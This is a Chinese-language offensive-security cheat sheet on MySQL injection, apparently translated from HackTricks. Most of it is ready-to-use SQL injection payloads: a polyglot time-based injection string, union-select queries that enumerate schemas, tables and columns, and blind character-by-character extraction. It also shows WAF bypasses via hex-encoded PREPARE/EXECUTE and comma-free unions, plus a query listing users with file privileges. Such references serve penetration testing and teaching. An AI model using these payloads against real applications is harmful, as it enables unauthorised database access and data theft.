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159 lines
5.8 KiB
Markdown
159 lines
5.8 KiB
Markdown
# MySQL 注入
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{{#include ../../../banners/hacktricks-training.md}}
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## 注释
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```sql
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-- MYSQL Comment
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# MYSQL Comment
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/* MYSQL Comment */
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/*! MYSQL Special SQL */
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/*!32302 10*/ Comment for MySQL version 3.23.02
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```
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## 有趣的函数
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### 确认 Mysql：
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```
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concat('a','b')
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database()
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version()
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user()
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system_user()
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@@version
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@@datadir
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rand()
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floor(2.9)
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length(1)
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count(1)
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```
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### 有用的函数
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```sql
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SELECT hex(database())
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SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
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SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
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SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
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SELECT replace(database(),"r","R")
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SELECT substr(database(),1,1)='r'
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SELECT substring(database(),1,1)=0x72
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SELECT ascii(substring(database(),1,1))=114
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SELECT database()=char(114,101,120,116,101,115,116,101,114)
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SELECT group_concat(<COLUMN>) FROM <TABLE>
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SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
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SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
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strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
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```
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## 所有注入
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```sql
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SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
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```
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## 流程
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请记住，在“现代”版本的 **MySQL** 中，您可以将 "_**information_schema.tables**_" 替换为 "_**mysql.innodb_table_stats**_**"**（这可能有助于绕过 WAF）。
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```sql
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SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
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SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
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SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
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SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
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```
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### **仅 1 个值**
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- `group_concat()`
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- `Limit X,1`
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### **盲注逐个**
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- `substr(version(),X,1)='r'` 或 `substring(version(),X,1)=0x70` 或 `ascii(substr(version(),X,1))=112`
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- `mid(version(),X,1)='5'`
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### **盲注添加**
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- `LPAD(version(),1...lenght(version()),'1')='asd'...`
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- `RPAD(version(),1...lenght(version()),'1')='asd'...`
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- `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
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- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
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- `SELECT INSTR('foobarbar', 'fo...')=1`
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## 检测列数
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使用简单的 ORDER
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```
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order by 1
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order by 2
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order by 3
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...
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order by XXX
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UniOn SeLect 1
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UniOn SeLect 1,2
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UniOn SeLect 1,2,3
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...
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```
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## MySQL 联合注入
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```sql
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UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
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UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
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UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
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UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
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```
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## SSRF
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**在这里了解不同的选项以** [**滥用Mysql注入来获得SSRF**](mysql-ssrf.md)**。**
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## WAF绕过技巧
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### 通过预处理语句执行查询
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当允许堆叠查询时，可以通过将要执行的查询的十六进制表示分配给一个变量（使用SET），然后使用PREPARE和EXECUTE MySQL语句最终执行查询，从而绕过WAF。类似于这样：
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```
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0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
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```
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有关更多信息，请参阅 [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)。
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### Information_schema 替代方案
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请记住，在 **MySQL** 的“现代”版本中，您可以将 _**information_schema.tables**_ 替换为 _**mysql.innodb_table_stats**_ 或 _**sys.x$schema_flattened_keys**_ 或 **sys.schema_table_statistics**
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### MySQL 注入无逗号
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选择 2 列而不使用任何逗号 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
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```
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-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
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```
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### 检索没有列名的值
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如果在某个时刻你知道表的名称，但不知道表内列的名称，你可以尝试执行类似以下的操作来查找有多少列：
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```bash
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# When a True is returned, you have found the number of columns
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select (select "", "") = (SELECT * from demo limit 1); # 2columns
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select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
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```
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假设有两列（第一列是ID，第二列是flag），你可以尝试逐个字符地暴力破解flag的内容：
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```bash
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# When True, you found the correct char and can start ruteforcing the next position
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select (select 1, 'flaf') = (SELECT * from demo limit 1);
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```
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更多信息请访问 [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
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### MySQL 历史
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您可以通过读取表格 **sys.x$statement_analysis** 查看其他执行情况。
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### 版本替代**s**
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```
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mysql> select @@innodb_version;
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mysql> select @@version;
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mysql> select version();
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```
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## 其他MYSQL注入指南
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- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
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## 参考文献
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- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
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